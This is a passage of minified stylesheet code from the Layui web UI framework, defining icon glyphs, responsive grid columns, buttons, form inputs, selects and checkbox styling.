"\\e6b2\"}.layui-icon-read:before{content:\"\\e705\"}.layui-icon-location:before{content:\"\\e715\"}.layui-icon-dollar:before{content:\"\\e659\"}.layui-icon-diamond:before{content:\"\\e735\"}.layui-icon-return:before{content:\"\\e65c\"}.layui-icon-camera-fill:before{content:\"\\e65d\"}.layui-icon-fire:before{content:\"\\e756\"}.layui-icon-more-vertical:before{content:\"\\e671\"}.layui-icon-cart:before{content:\"\\e657\"}.layui-icon-star-fill:before{content:\"\\e658\"}.layui-icon-prev:before{content:\"\\e65a\"}.layui-icon-next:before{content:\"\\e65b\"}.layui-icon-upload:before{content:\"\\e67c\"}.layui-icon-upload-drag:before{content:\"\\e681\"}.layui-icon-user:before{content:\"\\e770\"}.layui-icon-file-b:before{content:\"\\e655\"}.layui-icon-component:before{content:\"\\e857\"}.layui-icon-find-fill:before{content:\"\\e670\"}.layui-icon-loading:before{content:\"\\e63d\"}.layui-icon-loading-1:before{content:\"\\e63e\"}.layui-icon-add-1:before{content:\"\\e654\"}.layui-icon-pause:before{content:\"\\e651\"}.layui-icon-play:before{content:\"\\e652\"}.layui-icon-video:before{content:\"\\e6ed\"}.layui-icon-headset:before{content:\"\\e6fc\"}.layui-icon-voice:before{content:\"\\e688\"}.layui-icon-speaker:before{content:\"\\e645\"}.layui-icon-fonts-del:before{content:\"\\e64f\"}.layui-icon-fonts-html:before{content:\"\\e64b\"}.layui-icon-fonts-code:before{content:\"\\e64e\"}.layui-icon-fonts-strong:before{content:\"\\e62b\"}.layui-icon-unlink:before{content:\"\\e64d\"}.layui-icon-picture:before{content:\"\\e64a\"}.layui-icon-link:before{content:\"\\e64c\"}.layui-icon-face-smile-b:before{content:\"\\e650\"}.layui-icon-align-center:before{content:\"\\e647\"}.layui-icon-align-right:before{content:\"\\e648\"}.layui-icon-align-left:before{content:\"\\e649\"}.layui-icon-fonts-u:before{content:\"\\e646\"}.layui-icon-fonts-i:before{content:\"\\e644\"}.layui-icon-tabs:before{content:\"\\e62a\"}.layui-icon-circle:before{content:\"\\e63f\"}.layui-icon-radio:before{content:\"\\e643\"}.layui-icon-share:before{content:\"\\e641\"}.layui-icon-edit:before{content:\"\\e642\"}.layui-icon-delete:before{content:\"\\e640\"}.layui-icon-engine:before{content:\"\\e628\"}.layui-icon-chart-screen:before{content:\"\\e629\"}.layui-icon-chart:before{content:\"\\e62c\"}.layui-icon-table:before{content:\"\\e62d\"}.layui-icon-tree:before{content:\"\\e62e\"}.layui-icon-upload-circle:before{content:\"\\e62f\"}.layui-icon-templeate-1:before{content:\"\\e630\"}.layui-icon-util:before{content:\"\\e631\"}.layui-icon-layouts:before{content:\"\\e632\"}.layui-icon-prev-circle:before{content:\"\\e633\"}.layui-icon-carousel:before{content:\"\\e634\"}.layui-icon-code-circle:before{content:\"\\e635\"}.layui-icon-water:before{content:\"\\e636\"}.layui-icon-date:before{content:\"\\e637\"}.layui-icon-layer:before{content:\"\\e638\"}.layui-icon-fonts-clear:before{content:\"\\e639\"}.layui-icon-dialogue:before{content:\"\\e63a\"}.layui-icon-cellphone-fine:before{content:\"\\e63b\"}.layui-icon-form:before{content:\"\\e63c\"}.layui-icon-file:before{content:\"\\e621\"}.layui-icon-triangle-r:before{content:\"\\e623\"}.layui-icon-triangle-d:before{content:\"\\e625\"}.layui-icon-set-sm:before{content:\"\\e620\"}.layui-icon-add-circle:before{content:\"\\e61f\"}.layui-icon-layim-download:before{content:\"\\e61e\"}.layui-icon-layim-uploadfile:before{content:\"\\e61d\"}.layui-icon-404:before{content:\"\\e61c\"}.layui-icon-about:before{content:\"\\e60b\"}.layui-icon-layim-theme:before{content:\"\\e61b\"}.layui-icon-down:before{content:\"\\e61a\"}.layui-icon-up:before{content:\"\\e619\"}.layui-icon-circle-dot:before{content:\"\\e617\"}.layui-icon-set-fill:before{content:\"\\e614\"}.layui-icon-search:before{content:\"\\e615\"}.layui-icon-friends:before{content:\"\\e612\"}.layui-icon-group:before{content:\"\\e613\"}.layui-icon-reply-fill:before{content:\"\\e611\"}.layui-icon-menu-fill:before{content:\"\\e60f\"}.layui-icon-face-smile-fine:before{content:\"\\e60c\"}.layui-icon-picture-fine:before{content:\"\\e60d\"}.layui-icon-log:before{content:\"\\e60e\"}.layui-icon-list:before{content:\"\\e60a\"}.layui-icon-release:before{content:\"\\e609\"}.layui-icon-add-circle-fine:before{content:\"\\e608\"}.layui-icon-ok:before{content:\"\\e605\"}.layui-icon-help:before{content:\"\\e607\"}.layui-icon-chat:before{content:\"\\e606\"}.layui-icon-top:before{content:\"\\e604\"}.layui-icon-right:before{content:\"\\e602\"}.layui-icon-left:before{content:\"\\e603\"}.layui-icon-star:before{content:\"\\e600\"}.layui-icon-download-circle:before{content:\"\\e601\"}.layui-icon-close:before{content:\"\\1006\"}.layui-icon-close-fill:before{content:\"\\1007\"}.layui-icon-ok-circle:before{content:\"\\1005\"}.layui-main{position:relative;width:1160px;margin:0 auto}.layui-header{position:relative;z-index:1000;height:60px}.layui-header a:hover{transition:all .5s;-webkit-transition:all .5s}.layui-side{position:fixed;left:0;top:0;bottom:0;z-index:999;width:200px;overflow-x:hidden}.layui-side-scroll{position:relative;width:220px;height:100%;overflow-x:hidden}.layui-body{position:relative;left:200px;right:0;top:0;bottom:0;z-index:900;width:auto;box-sizing:border-box}.layui-layout-body{overflow-x:hidden}.layui-layout-admin .layui-header{position:fixed;top:0;left:0;right:0;background-color:#23292e}.layui-layout-admin .layui-side{top:60px;width:200px;overflow-x:hidden}.layui-layout-admin .layui-body{position:absolute;top:60px;padding-bottom:44px}.layui-layout-admin .layui-main{width:auto;margin:0 15px}.layui-layout-admin .layui-footer{position:fixed;left:200px;right:0;bottom:0;z-index:990;height:44px;line-height:44px;padding:0 15px;box-shadow:-1px 0 4px rgb(0 0 0 / 12%);background-color:#fafafa}.layui-layout-admin .layui-logo{position:absolute;left:0;top:0;width:200px;height:100%;line-height:60px;text-align:center;color:#16baaa;font-size:16px;box-shadow:0 1px 2px 0 rgb(0 0 0 / 15%)}.layui-layout-admin .layui-header .layui-nav{background:0 0}.layui-layout-left{position:absolute!important;left:200px;top:0}.layui-layout-right{position:absolute!important;right:0;top:0}.layui-container{position:relative;margin:0 auto;box-sizing:border-box}.layui-fluid{position:relative;margin:0 auto;padding:0 15px}.layui-row:after,.layui-row:before{content:\"\";display:block;clear:both}.layui-col-lg1,.layui-col-lg10,.layui-col-lg11,.layui-col-lg12,.layui-col-lg2,.layui-col-lg3,.layui-col-lg4,.layui-col-lg5,.layui-col-lg6,.layui-col-lg7,.layui-col-lg8,.layui-col-lg9,.layui-col-md1,.layui-col-md10,.layui-col-md11,.layui-col-md12,.layui-col-md2,.layui-col-md3,.layui-col-md4,.layui-col-md5,.layui-col-md6,.layui-col-md7,.layui-col-md8,.layui-col-md9,.layui-col-sm1,.layui-col-sm10,.layui-col-sm11,.layui-col-sm12,.layui-col-sm2,.layui-col-sm3,.layui-col-sm4,.layui-col-sm5,.layui-col-sm6,.layui-col-sm7,.layui-col-sm8,.layui-col-sm9,.layui-col-xl1,.layui-col-xl10,.layui-col-xl11,.layui-col-xl12,.layui-col-xl2,.layui-col-xl3,.layui-col-xl4,.layui-col-xl5,.layui-col-xl6,.layui-col-xl7,.layui-col-xl8,.layui-col-xl9,.layui-col-xs1,.layui-col-xs10,.layui-col-xs11,.layui-col-xs12,.layui-col-xs2,.layui-col-xs3,.layui-col-xs4,.layui-col-xs5,.layui-col-xs6,.layui-col-xs7,.layui-col-xs8,.layui-col-xs9{position:relative;display:block;box-sizing:border-box}.layui-col-xs1,.layui-col-xs10,.layui-col-xs11,.layui-col-xs12,.layui-col-xs2,.layui-col-xs3,.layui-col-xs4,.layui-col-xs5,.layui-col-xs6,.layui-col-xs7,.layui-col-xs8,.layui-col-xs9{float:left}.layui-col-xs1{width:8.33333333%}.layui-col-xs2{width:16.66666667%}.layui-col-xs3{width:25%}.layui-col-xs4{width:33.33333333%}.layui-col-xs5{width:41.66666667%}.layui-col-xs6{width:50%}.layui-col-xs7{width:58.33333333%}.layui-col-xs8{width:66.66666667%}.layui-col-xs9{width:75%}.layui-col-xs10{width:83.33333333%}.layui-col-xs11{width:91.66666667%}.layui-col-xs12{width:100%}.layui-col-xs-offset1{margin-left:8.33333333%}.layui-col-xs-offset2{margin-left:16.66666667%}.layui-col-xs-offset3{margin-left:25%}.layui-col-xs-offset4{margin-left:33.33333333%}.layui-col-xs-offset5{margin-left:41.66666667%}.layui-col-xs-offset6{margin-left:50%}.layui-col-xs-offset7{margin-left:58.33333333%}.layui-col-xs-offset8{margin-left:66.66666667%}.layui-col-xs-offset9{margin-left:75%}.layui-col-xs-offset10{margin-left:83.33333333%}.layui-col-xs-offset11{margin-left:91.66666667%}.layui-col-xs-offset12{margin-left:100%}@media screen and (max-width:767.98px){.layui-container{padding:0 15px}.layui-hide-xs{display:none!important}.layui-show-xs-block{display:block!important}.layui-show-xs-inline{display:inline!important}.layui-show-xs-inline-block{display:inline-block!important}}@media screen and (min-width:768px){.layui-container{width:720px}.layui-hide-sm{display:none!important}.layui-show-sm-block{display:block!important}.layui-show-sm-inline{display:inline!important}.layui-show-sm-inline-block{display:inline-block!important}.layui-col-sm1,.layui-col-sm10,.layui-col-sm11,.layui-col-sm12,.layui-col-sm2,.layui-col-sm3,.layui-col-sm4,.layui-col-sm5,.layui-col-sm6,.layui-col-sm7,.layui-col-sm8,.layui-col-sm9{float:left}.layui-col-sm1{width:8.33333333%}.layui-col-sm2{width:16.66666667%}.layui-col-sm3{width:25%}.layui-col-sm4{width:33.33333333%}.layui-col-sm5{width:41.66666667%}.layui-col-sm6{width:50%}.layui-col-sm7{width:58.33333333%}.layui-col-sm8{width:66.66666667%}.layui-col-sm9{width:75%}.layui-col-sm10{width:83.33333333%}.layui-col-sm11{width:91.66666667%}.layui-col-sm12{width:100%}.layui-col-sm-offset1{margin-left:8.33333333%}.layui-col-sm-offset2{margin-left:16.66666667%}.layui-col-sm-offset3{margin-left:25%}.layui-col-sm-offset4{margin-left:33.33333333%}.layui-col-sm-offset5{margin-left:41.66666667%}.layui-col-sm-offset6{margin-left:50%}.layui-col-sm-offset7{margin-left:58.33333333%}.layui-col-sm-offset8{margin-left:66.66666667%}.layui-col-sm-offset9{margin-left:75%}.layui-col-sm-offset10{margin-left:83.33333333%}.layui-col-sm-offset11{margin-left:91.66666667%}.layui-col-sm-offset12{margin-left:100%}}@media screen and (min-width:992px){.layui-container{width:960px}.layui-hide-md{display:none!important}.layui-show-md-block{display:block!important}.layui-show-md-inline{display:inline!important}.layui-show-md-inline-block{display:inline-block!important}.layui-col-md1,.layui-col-md10,.layui-col-md11,.layui-col-md12,.layui-col-md2,.layui-col-md3,.layui-col-md4,.layui-col-md5,.layui-col-md6,.layui-col-md7,.layui-col-md8,.layui-col-md9{float:left}.layui-col-md1{width:8.33333333%}.layui-col-md2{width:16.66666667%}.layui-col-md3{width:25%}.layui-col-md4{width:33.33333333%}.layui-col-md5{width:41.66666667%}.layui-col-md6{width:50%}.layui-col-md7{width:58.33333333%}.layui-col-md8{width:66.66666667%}.layui-col-md9{width:75%}.layui-col-md10{width:83.33333333%}.layui-col-md11{width:91.66666667%}.layui-col-md12{width:100%}.layui-col-md-offset1{margin-left:8.33333333%}.layui-col-md-offset2{margin-left:16.66666667%}.layui-col-md-offset3{margin-left:25%}.layui-col-md-offset4{margin-left:33.33333333%}.layui-col-md-offset5{margin-left:41.66666667%}.layui-col-md-offset6{margin-left:50%}.layui-col-md-offset7{margin-left:58.33333333%}.layui-col-md-offset8{margin-left:66.66666667%}.layui-col-md-offset9{margin-left:75%}.layui-col-md-offset10{margin-left:83.33333333%}.layui-col-md-offset11{margin-left:91.66666667%}.layui-col-md-offset12{margin-left:100%}}@media screen and (min-width:1200px){.layui-container{width:1150px}.layui-hide-lg{display:none!important}.layui-show-lg-block{display:block!important}.layui-show-lg-inline{display:inline!important}.layui-show-lg-inline-block{display:inline-block!important}.layui-col-lg1,.layui-col-lg10,.layui-col-lg11,.layui-col-lg12,.layui-col-lg2,.layui-col-lg3,.layui-col-lg4,.layui-col-lg5,.layui-col-lg6,.layui-col-lg7,.layui-col-lg8,.layui-col-lg9{float:left}.layui-col-lg1{width:8.33333333%}.layui-col-lg2{width:16.66666667%}.layui-col-lg3{width:25%}.layui-col-lg4{width:33.33333333%}.layui-col-lg5{width:41.66666667%}.layui-col-lg6{width:50%}.layui-col-lg7{width:58.33333333%}.layui-col-lg8{width:66.66666667%}.layui-col-lg9{width:75%}.layui-col-lg10{width:83.33333333%}.layui-col-lg11{width:91.66666667%}.layui-col-lg12{width:100%}.layui-col-lg-offset1{margin-left:8.33333333%}.layui-col-lg-offset2{margin-left:16.66666667%}.layui-col-lg-offset3{margin-left:25%}.layui-col-lg-offset4{margin-left:33.33333333%}.layui-col-lg-offset5{margin-left:41.66666667%}.layui-col-lg-offset6{margin-left:50%}.layui-col-lg-offset7{margin-left:58.33333333%}.layui-col-lg-offset8{margin-left:66.66666667%}.layui-col-lg-offset9{margin-left:75%}.layui-col-lg-offset10{margin-left:83.33333333%}.layui-col-lg-offset11{margin-left:91.66666667%}.layui-col-lg-offset12{margin-left:100%}}@media screen and (min-width:1400px){.layui-container{width:1330px}.layui-hide-xl{display:none!important}.layui-show-xl-block{display:block!important}.layui-show-xl-inline{display:inline!important}.layui-show-xl-inline-block{display:inline-block!important}.layui-col-xl1,.layui-col-xl10,.layui-col-xl11,.layui-col-xl12,.layui-col-xl2,.layui-col-xl3,.layui-col-xl4,.layui-col-xl5,.layui-col-xl6,.layui-col-xl7,.layui-col-xl8,.layui-col-xl9{float:left}.layui-col-xl1{width:8.33333333%}.layui-col-xl2{width:16.66666667%}.layui-col-xl3{width:25%}.layui-col-xl4{width:33.33333333%}.layui-col-xl5{width:41.66666667%}.layui-col-xl6{width:50%}.layui-col-xl7{width:58.33333333%}.layui-col-xl8{width:66.66666667%}.layui-col-xl9{width:75%}.layui-col-xl10{width:83.33333333%}.layui-col-xl11{width:91.66666667%}.layui-col-xl12{width:100%}.layui-col-xl-offset1{margin-left:8.33333333%}.layui-col-xl-offset2{margin-left:16.66666667%}.layui-col-xl-offset3{margin-left:25%}.layui-col-xl-offset4{margin-left:33.33333333%}.layui-col-xl-offset5{margin-left:41.66666667%}.layui-col-xl-offset6{margin-left:50%}.layui-col-xl-offset7{margin-left:58.33333333%}.layui-col-xl-offset8{margin-left:66.66666667%}.layui-col-xl-offset9{margin-left:75%}.layui-col-xl-offset10{margin-left:83.33333333%}.layui-col-xl-offset11{margin-left:91.66666667%}.layui-col-xl-offset12{margin-left:100%}}.layui-col-space1{margin:-.5px}.layui-col-space1>*{padding:.5px}.layui-col-space2{margin:-1px}.layui-col-space2>*{padding:1px}.layui-col-space4{margin:-2px}.layui-col-space4>*{padding:2px}.layui-col-space5{margin:-2.5px}.layui-col-space5>*{padding:2.5px}.layui-col-space6{margin:-3px}.layui-col-space6>*{padding:3px}.layui-col-space8{margin:-4px}.layui-col-space8>*{padding:4px}.layui-col-space10{margin:-5px}.layui-col-space10>*{padding:5px}.layui-col-space12{margin:-6px}.layui-col-space12>*{padding:6px}.layui-col-space14{margin:-7px}.layui-col-space14>*{padding:7px}.layui-col-space15{margin:-7.5px}.layui-col-space15>*{padding:7.5px}.layui-col-space16{margin:-8px}.layui-col-space16>*{padding:8px}.layui-col-space18{margin:-9px}.layui-col-space18>*{padding:9px}.layui-col-space20{margin:-10px}.layui-col-space20>*{padding:10px}.layui-col-space22{margin:-11px}.layui-col-space22>*{padding:11px}.layui-col-space24{margin:-12px}.layui-col-space24>*{padding:12px}.layui-col-space25{margin:-12.5px}.layui-col-space25>*{padding:12.5px}.layui-col-space26{margin:-13px}.layui-col-space26>*{padding:13px}.layui-col-space28{margin:-14px}.layui-col-space28>*{padding:14px}.layui-col-space30{margin:-15px}.layui-col-space30>*{padding:15px}.layui-col-space32{margin:-15px}.layui-col-space32>*{padding:15px}.layui-btn,.layui-input,.layui-select,.layui-textarea,.layui-upload-button{outline:0;-webkit-appearance:none;transition:all .3s;-webkit-transition:all .3s;box-sizing:border-box}.layui-elem-quote{margin-bottom:10px;padding:15px;line-height:1.8;border-left:5px solid #16b777;border-radius:0 2px 2px 0;background-color:#fafafa}.layui-quote-nm{border-style:solid;border-width:1px;border-left-width:5px;background:0 0}.layui-elem-field{margin-bottom:10px;padding:0;border-width:1px;border-style:solid}.layui-elem-field legend{margin-left:20px;padding:0 10px;font-size:20px}.layui-field-title{margin:16px 0;border-width:0;border-top-width:1px}.layui-field-box{padding:15px}.layui-field-title .layui-field-box{padding:10px 0}.layui-progress{position:relative;height:6px;border-radius:20px;background-color:#eee}.layui-progress-bar{position:absolute;left:0;top:0;width:0;max-width:100%;height:6px;border-radius:20px;text-align:right;background-color:#16b777;transition:all .3s;-webkit-transition:all .3s}.layui-progress-big,.layui-progress-big .layui-progress-bar{height:18px;line-height:18px}.layui-progress-text{position:relative;top:-20px;line-height:18px;font-size:12px;color:#5f5f5f}.layui-progress-big .layui-progress-text{position:static;padding:0 10px;color:#fff}.layui-collapse{border-width:1px;border-style:solid;border-radius:2px}.layui-colla-content,.layui-colla-item{border-top-width:1px;border-top-style:solid}.layui-colla-item:first-child{border-top:none}.layui-colla-title{position:relative;height:42px;line-height:42px;padding:0 15px 0 35px;color:#333;background-color:#fafafa;cursor:pointer;font-size:14px;overflow:hidden}.layui-colla-content{display:none;padding:10px 15px;line-height:1.6;color:#5f5f5f}.layui-colla-icon{position:absolute;left:15px;top:0;font-size:14px}.layui-card{margin-bottom:15px;border-radius:2px;background-color:#fff;box-shadow:0 1px 2px 0 rgba(0,0,0,.05)}.layui-card:last-child{margin-bottom:0}.layui-card-header{position:relative;height:42px;line-height:42px;padding:0 15px;border-bottom:1px solid #f8f8f8;color:#333;border-radius:2px 2px 0 0;font-size:14px}.layui-card-body{position:relative;padding:10px 15px;line-height:24px}.layui-card-body[pad15]{padding:15px}.layui-card-body[pad20]{padding:20px}.layui-card-body .layui-table{margin:5px 0}.layui-card .layui-tab{margin:0}.layui-panel{position:relative;border-width:1px;border-style:solid;border-radius:2px;box-shadow:1px 1px 4px rgb(0 0 0 / 8%);background-color:#fff;color:#5f5f5f}.layui-panel-window{position:relative;padding:15px;border-radius:0;border-top:5px solid #eee;background-color:#fff}.layui-auxiliar-moving{position:fixed;left:0;right:0;top:0;bottom:0;width:100%;height:100%;background:0 0;z-index:9999999999}.layui-scollbar-hide{overflow:hidden!important}.layui-bg-red{background-color:#ff5722!important;color:#fff!important}.layui-bg-orange{background-color:#ffb800!important;color:#fff!important}.layui-bg-green{background-color:#16baaa!important;color:#fff!important}.layui-bg-cyan{background-color:#2f4056!important;color:#fff!important}.layui-bg-blue{background-color:#1e9fff!important;color:#fff!important}.layui-bg-purple{background-color:#a233c6!important;color:#fff!important}.layui-bg-black{background-color:#2f363c!important;color:#fff!important}.layui-bg-gray{background-color:#fafafa!important;color:#5f5f5f!important}.layui-badge-rim,.layui-border,.layui-colla-content,.layui-colla-item,.layui-collapse,.layui-elem-field,.layui-form-pane .layui-form-item[pane],.layui-form-pane .layui-form-label,.layui-input,.layui-input-split,.layui-panel,.layui-quote-nm,.layui-select,.layui-tab-bar,.layui-tab-card,.layui-tab-title,.layui-tab-title .layui-this:after,.layui-textarea{border-color:#eee}.layui-border{border-width:1px;border-style:solid;color:#5f5f5f!important}.layui-border-red{border-width:1px;border-style:solid;border-color:#ff5722!important;color:#ff5722!important}.layui-border-orange{border-width:1px;border-style:solid;border-color:#ffb800!important;color:#ffb800!important}.layui-border-green{border-width:1px;border-style:solid;border-color:#16baaa!important;color:#16baaa!important}.layui-border-cyan{border-width:1px;border-style:solid;border-color:#2f4056!important;color:#2f4056!important}.layui-border-blue{border-width:1px;border-style:solid;border-color:#1e9fff!important;color:#1e9fff!important}.layui-border-purple{border-width:1px;border-style:solid;border-color:#a233c6!important;color:#a233c6!important}.layui-border-black{border-width:1px;border-style:solid;border-color:#2f363c!important;color:#2f363c!important}.layui-timeline-item:before{background-color:#eee}.layui-text{line-height:1.8;font-size:14px}.layui-text h1,.layui-text h2,.layui-text h3,.layui-text h4,.layui-text h5,.layui-text h6{color:#3a3a3a}.layui-text h1{font-size:32px}.layui-text h2{font-size:24px}.layui-text h3{font-size:18px}.layui-text h4{font-size:16px}.layui-text h5{font-size:14px}.layui-text h6{font-size:13px}.layui-text ol,.layui-text ul{padding-left:15px}.layui-text ul li{margin-top:5px;list-style-type:disc}.layui-text ol li{margin-top:5px;list-style-type:decimal}.layui-text-em,.layui-word-aux{color:#999!important;padding-left:5px!important;padding-right:5px!important}.layui-text p{margin:15px 0}.layui-text p:first-child{margin-top:0}.layui-text p:last-child{margin-bottom:0}.layui-text a:not(.layui-btn){color:#01aaed}.layui-text a:not(.layui-btn):hover{text-decoration:underline}.layui-text blockquote:not(.layui-elem-quote){padding:5px 15px;border-left:5px solid #eee}.layui-text pre>code:not(.layui-code){padding:15px;font-family:Courier New,Lucida Console,Consolas;background-color:#fafafa}.layui-font-12{font-size:12px!important}.layui-font-13{font-size:13px!important}.layui-font-14{font-size:14px!important}.layui-font-16{font-size:16px!important}.layui-font-18{font-size:18px!important}.layui-font-20{font-size:20px!important}.layui-font-22{font-size:22px!important}.layui-font-24{font-size:24px!important}.layui-font-26{font-size:26px!important}.layui-font-28{font-size:28px!important}.layui-font-30{font-size:30px!important}.layui-font-32{font-size:32px!important}.layui-font-red{color:#ff5722!important}.layui-font-orange{color:#ffb800!important}.layui-font-green{color:#16baaa!important}.layui-font-cyan{color:#2f4056!important}.layui-font-blue{color:#01aaed!important}.layui-font-purple{color:#a233c6!important}.layui-font-black{color:#000!important}.layui-font-gray{color:#c2c2c2!important}.layui-btn{display:inline-block;vertical-align:middle;height:38px;line-height:38px;border:1px solid transparent;padding:0 18px;background-color:#16baaa;color:#fff;white-space:nowrap;text-align:center;font-size:14px;border-radius:2px;cursor:pointer;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none}.layui-btn:hover{opacity:.8;filter:alpha(opacity=80);color:#fff}.layui-btn:active{opacity:1;filter:alpha(opacity=100)}.layui-btn+.layui-btn{margin-left:10px}.layui-btn-container{word-spacing:-5px}.layui-btn-container .layui-btn{margin-right:10px;margin-bottom:10px}.layui-btn-container .layui-btn+.layui-btn{margin-left:0}.layui-table .layui-btn-container .layui-btn{margin-bottom:9px}.layui-btn-radius{border-radius:100px}.layui-btn .layui-icon{padding:0 2px;vertical-align:middle\\0;vertical-align:bottom}.layui-btn-primary{border-color:#d2d2d2;background:0 0;color:#5f5f5f}.layui-btn-primary:hover{border-color:#16baaa;color:#333}.layui-btn-normal{background-color:#1e9fff}.layui-btn-warm{background-color:#ffb800}.layui-btn-danger{background-color:#ff5722}.layui-btn-checked{background-color:#16b777}.layui-btn-disabled,.layui-btn-disabled:active,.layui-btn-disabled:hover{border-color:#eee!important;background-color:#fbfbfb!important;color:#d2d2d2!important;cursor:not-allowed!important;opacity:1}.layui-btn-lg{height:44px;line-height:44px;padding:0 25px;font-size:16px}.layui-btn-sm{height:30px;line-height:30px;padding:0 10px;font-size:12px}.layui-btn-xs{height:22px;line-height:22px;padding:0 5px;font-size:12px}.layui-btn-xs i{font-size:12px!important}.layui-btn-group{display:inline-block;vertical-align:middle;font-size:0}.layui-btn-group .layui-btn{margin-left:0!important;margin-right:0!important;border-left:1px solid rgba(255,255,255,.5);border-radius:0}.layui-btn-group .layui-btn-primary{border-left:none}.layui-btn-group .layui-btn-primary:hover{border-color:#d2d2d2;color:#16baaa}.layui-btn-group .layui-btn:first-child{border-left:none;border-radius:2px 0 0 2px}.layui-btn-group .layui-btn-primary:first-child{border-left:1px solid #d2d2d2}.layui-btn-group .layui-btn:last-child{border-radius:0 2px 2px 0}.layui-btn-group .layui-btn+.layui-btn{margin-left:0}.layui-btn-group+.layui-btn-group{margin-left:10px}.layui-btn-fluid{width:100%}.layui-input,.layui-select,.layui-textarea{height:38px;line-height:1.3;line-height:38px\\9;border-width:1px;border-style:solid;background-color:#fff;color:rgba(0,0,0,.85);border-radius:2px}.layui-input::-webkit-input-placeholder,.layui-select::-webkit-input-placeholder,.layui-textarea::-webkit-input-placeholder{line-height:1.3}.layui-input,.layui-textarea{display:block;width:100%;padding-left:10px}.layui-input:hover,.layui-textarea:hover{border-color:#eee!important}.layui-input:focus,.layui-textarea:focus{border-color:#d2d2d2!important}.layui-textarea{position:relative;min-height:100px;height:auto;line-height:20px;padding:6px 10px;resize:vertical}.layui-select{padding:0 10px}.layui-form input[type=checkbox],.layui-form input[type=radio],.layui-form select{display:none}.layui-form [lay-ignore]{display:initial}.layui-form-item{position:relative;margin-bottom:15px;clear:both;*zoom:1}.layui-form-item:after{content:'\\20';clear:both;*zoom:1;display:block;height:0}.layui-form-label{position:relative;float:left;display:block;padding:9px 15px;width:80px;font-weight:400;line-height:20px;text-align:right}.layui-form-label-col{display:block;float:none;padding:9px 0;line-height:20px;text-align:left}.layui-form-item .layui-inline{margin-bottom:5px;margin-right:10px}.layui-input-block,.layui-input-inline{position:relative}.layui-input-block{margin-left:110px;min-height:36px}.layui-input-inline{display:inline-block;vertical-align:middle}.layui-form-item .layui-input-inline{float:left;width:190px;margin-right:10px}.layui-form-text .layui-input-inline{width:auto}.layui-form-mid{position:relative;float:left;display:block;padding:9px 0!important;line-height:20px;margin-right:10px}.layui-form-danger+.layui-form-select .layui-input,.layui-form-danger:focus{border-color:#ff5722!important}.layui-input-prefix,.layui-input-split,.layui-input-suffix,.layui-input-suffix .layui-input-affix{position:absolute;right:0;top:0;padding:0 10px;width:35px;height:100%;text-align:center;transition:all .3s;box-sizing:border-box}.layui-input-prefix{left:0;border-radius:2px 0 0 2px}.layui-input-suffix{right:0;border-radius:0 2px 2px 0}.layui-input-split{border-width:1px;border-style:solid}.layui-input-prefix .layui-icon,.layui-input-split .layui-icon,.layui-input-suffix .layui-icon{position:relative;font-size:16px;color:#5f5f5f;transition:all .3s}.layui-input-group{position:relative;display:table;box-sizing:border-box}.layui-input-group>*{display:table-cell;vertical-align:middle;position:relative}.layui-input-group .layui-input{padding-right:15px}.layui-input-group .layui-input-prefix{width:auto;border-right:0}.layui-input-group .layui-input-suffix{width:auto;border-left:0}.layui-input-group .layui-input-split{white-space:nowrap}.layui-input-wrap{position:relative;line-height:38px}.layui-input-wrap .layui-input{padding-right:35px}.layui-input-wrap .layui-input::-ms-clear,.layui-input-wrap .layui-input::-ms-reveal{display:none}.layui-input-wrap .layui-input-prefix+.layui-input,.layui-input-wrap .layui-input-prefix~* .layui-input{padding-left:35px}.layui-input-wrap .layui-input-split+.layui-input,.layui-input-wrap .layui-input-split~* .layui-input{padding-left:45px}.layui-input-wrap .layui-input-prefix~.layui-form-select{position:static}.layui-input-wrap .layui-input-prefix,.layui-input-wrap .layui-input-split,.layui-input-wrap .layui-input-suffix{pointer-events:none}.layui-input-wrap .layui-input:focus+.layui-input-split{border-color:#d2d2d2}.layui-input-wrap .layui-input-prefix.layui-input-split{border-width:0;border-right-width:1px}.layui-input-affix{line-height:38px}.layui-input-suffix .layui-input-affix{right:auto;left:-35px}.layui-input-affix .layui-icon{color:rgba(0,0,0,.8);pointer-events:auto!important;cursor:pointer}.layui-input-affix .layui-icon-clear{color:rgba(0,0,0,.3)}.layui-input-affix .layui-icon:hover{color:rgba(0,0,0,.6)}.layui-form-select{position:relative;color:#5f5f5f}.layui-form-select .layui-input{padding-right:30px;cursor:pointer}.layui-form-select .layui-edge{position:absolute;right:10px;top:50%;margin-top:-3px;cursor:pointer;border-width:6px;border-top-color:#c2c2c2;border-top-style:solid;transition:all .3s;-webkit-transition:all .3s}.layui-form-select dl{display:none;position:absolute;left:0;top:42px;padding:5px 0;z-index:899;min-width:100%;border:1px solid #eee;max-height:300px;overflow-y:auto;background-color:#fff;border-radius:2px;box-shadow:1px 1px 4px rgb(0 0 0 / 8%);box-sizing:border-box}.layui-form-select dl dd,.layui-form-select dl dt{padding:0 10px;line-height:36px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.layui-form-select dl dt{font-size:12px;color:#999}.layui-form-select dl dd{cursor:pointer}.layui-form-select dl dd:hover{background-color:#f8f8f8;-webkit-transition:.5s all;transition:.5s all}.layui-form-select .layui-select-group dd{padding-left:20px}.layui-form-select dl dd.layui-select-tips{padding-left:10px!important;color:#999}.layui-form-select dl dd.layui-this{background-color:#f8f8f8;color:#16b777;font-weight:700}.layui-form-select dl dd.layui-disabled{background-color:#fff}.layui-form-selected dl{display:block}.layui-form-selected .layui-edge{margin-top:-9px;-webkit-transform:rotate(180deg);transform:rotate(180deg)}.layui-form-selected .layui-edge{margin-top:-3px\\0}:root .layui-form-selected .layui-edge{margin-top:-9px\\0/IE9}.layui-form-selectup dl{top:auto;bottom:42px}.layui-select-none{margin:5px 0;text-align:center;color:#999}.layui-select-disabled .layui-disabled{border-color:#eee!important}.layui-select-disabled .layui-edge{border-top-color:#d2d2d2}.layui-form-checkbox{position:relative;display:inline-block;vertical-align:middle;height:30px;line-height:30px;margin-right:10px;padding-right:30px;background-color:#fff;cursor:pointer;font-size:0;-webkit-transition:.1s linear;transition:.1s linear;box-sizing:border-box}.layui-form-checkbox *{display:inline-block;vertical-align:middle}.layui-form-checkbox span{padding:0 10px;height:100%;font-size:14px;border-radius:2px 0 0 2px;background-color:#d2d2d2;color:#fff;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.layui-form-checkbox:hover span{background-color:#c2c2c2}.layui-form-checkbox i{position:absolute;right:0;top:0;width:30px;height:28px;border:1px solid #d2d2d2;border-left:none;border-radius:0 2px 2px 